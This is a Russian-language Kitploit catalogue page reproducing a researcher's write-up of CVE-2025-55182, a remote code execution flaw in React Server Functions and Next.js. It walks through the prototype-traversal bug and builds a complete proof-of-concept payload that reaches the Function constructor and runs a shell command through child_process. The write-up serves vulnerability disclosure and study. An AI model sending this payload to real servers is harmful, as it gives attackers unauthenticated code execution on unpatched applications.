Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182 — Объяснение и полный PoC для RCE-уязвимости CVE-2025-55182 | Kitploit
Инструменты/GitHubGitHub/msanft/cve-2025-55182
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubmsanft/cve-2025-55182

CVE-2025-55182

Объяснение и полный PoC для RCE-уязвимости CVE-2025-55182

Репозиторий
1.4k1988 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182

Эта уязвимость позволяет выполнять удалённый код (RCE) в серверных функциях React (Server Functions), например, в том виде, в котором их предлагает Next.js, из-за небезопасных ссылок на прототипы.

Я не эксперт в React или Next.js, поэтому относитесь ко всей информации здесь с долей скепсиса.

Предыстория

React предлагает серверные функции (Server Functions)1, которые можно рассматривать как своего рода RPC через HTTP. Они могут использоваться для получения данных от соседних узлов для обеспечения низкой задержки или для выполнения аутентифицированных запросов, для которых у клиента нет учётных данных.

React использует нечто под названием React Flight Protocol2 для сериализации значений, передаваемых серверным функциям.

Клиент передаёт «чанки» на сервер, например через данные формы:

root@kitploit:~
files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

Как показано выше, они могут содержать ссылки друг на друга. Приведённая выше полезная нагрузка десериализуется на сервере в следующее:

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

Сам формат несколько сложнее и допускает более сложную сериализацию и десериализацию, но этого достаточно для базового понимания самой уязвимости.

Уязвимость

Вплоть до этого коммита3 при обходе чанков в процессе разрешения ссылок, например при получении fruitName из чанка 2 в примере выше, React не проверял, установлен ли запрошенный ключ на объекте. Это позволяло нам получить прототип объекта4.

Это можно продемонстрировать такой полезной нагрузкой:

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Которая десериализуется в конструктор функции5:

root@kitploit:~
[Function: Function]

Когда чанк с ID 0 — не массив, а объект, мы можем установить ключ then в конструктор функции. Затем этот объект возвращается функцией decodeReplyFromBusboy и ожидается Next.js через await:

root@kitploit:~
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Когда она возвращает thenable, await в вызывающем коде вызовет его. Именно это происходит со следующей полезной нагрузкой:

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Что приводит к такой ошибке:

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

Ошибка выглядит так, потому что V8 вызывает функцию, ожидаемую через await, с внутренними функциями resolve и reject, которые при вызове toString сериализуются во что-то вроде:

root@kitploit:~
function () { [native code] }

Эксплуатация

Поскольку мы можем без труда получить конструктор Function, очевидный путь — найти call-гаджет, который вызывает конструктор с управляемым пользователем значением (то есть с кодом функции в виде строки), а затем вызывает возвращённую функцию.

Существует несколько мест, которые могут вызывать конструктор функции, например resolveServerReference, где id — управляемый объект, а lastIndexOf можно переопределить так, чтобы он возвращал управляемую пользователем строку (например, через Array.prototype.join), а slice можно переопределить на конструктор функции. Однако это место не работает, поскольку второй вызов .slice() передаёт число в качестве первого аргумента, которое, насколько мне известно, конструктор функции никогда не сможет обработать.

Здесь на помощь приходит блестящая идея от maple31426. Когда getChunk берёт чанк с ID 0 в качестве корневой ссылки для начала разрешения цепочки ссылок, этот самый чанк может разрешиться в сконструированный «поддельный чанк».

Мы можем сослаться на сконструированный чанк 0 из чанка 1 с помощью синтаксиса $@, который возвращает «сырой» чанк, а не его разрешённое значение:

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Совмещая это с нашим переопределением then из примера выше, мы можем сконструировать нечто вроде:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

Здесь чанк 0 переопределяет собственный .then() на .then() своего же сырого представления чанка. Проще говоря, мы переопределяем собственный .then() на Chunk.prototype.then, который существует, поскольку объекты Chunk являются thenable:

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

С приведённой выше полезной нагрузкой Chunk.prototype.then в конечном итоге вызывается с поддельным чанком с ID 0.

Как показано выше, когда .status нашего поддельного чанка равен resolved_model:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Мы попадаем в initializeModelChunk. Здесь .value разбирается как JSON, а затем на возвращённом объекте разрешаются ссылки с использованием «внешнего» контекста наших чанков с ID 0 и 1:

root@kitploit:~
function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

Внутри этого мы получаем второй проход вычислений с несколько большим количеством значений, к которым у нас есть доступ, благодаря тому что внешний контекст уже разрешён.

В обработке blob-данных с префиксом $B во flight-протоколе есть call-гаджет:

root@kitploit:~
case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

Используя специальное поле _response, мы управляем свойством response поддельного чанка:

root@kitploit:~
// in initializeModelChunk
value = reviveModel(chunk._response, // ...

С помощью этого мы можем сконструировать объект с поддельными свойствами ._formData и ._prefix:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

Свойство .reason необходимо добавить, чтобы обойти сбой при вызове toString в `initializeModelChunk:

root@kitploit:~
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

Указывая ._formData на конструктор функции, а ._prefix на наш код, мы получаем гаджет вызова конструктора функции в десериализации blob-данных:

root@kitploit:~
response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")

Затем наша сконструированная функция возвращается функцией parseModelString как метод .then() поддельного чанка, который также ожидается через await, поскольку всё это происходит в единой цепочке разрешения промисов. Таким образом, возвращая thenable, наша сконструированная функция вызывается. Это и есть требуемый call-гаджет, упомянутый выше.

Собирая всё это воедино с реальной RCE-полезной нагрузкой, мы получаем примерно следующее:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Бонус, который делает эту уязвимость ещё серьёзнее, заключается в том, что всё это происходит во время десериализации, до того как запрошенное действие будет впервые проверено в getActionModIdOrError. Таким образом, для срабатывания уязвимости достаточно установить заголовок вида Next-Action: foo.

Footnotes

  1. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩

  2. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩

  3. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩

  4. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩

  5. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩

  6. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/x.com/maple3142%3E

Скачать инструмент
↩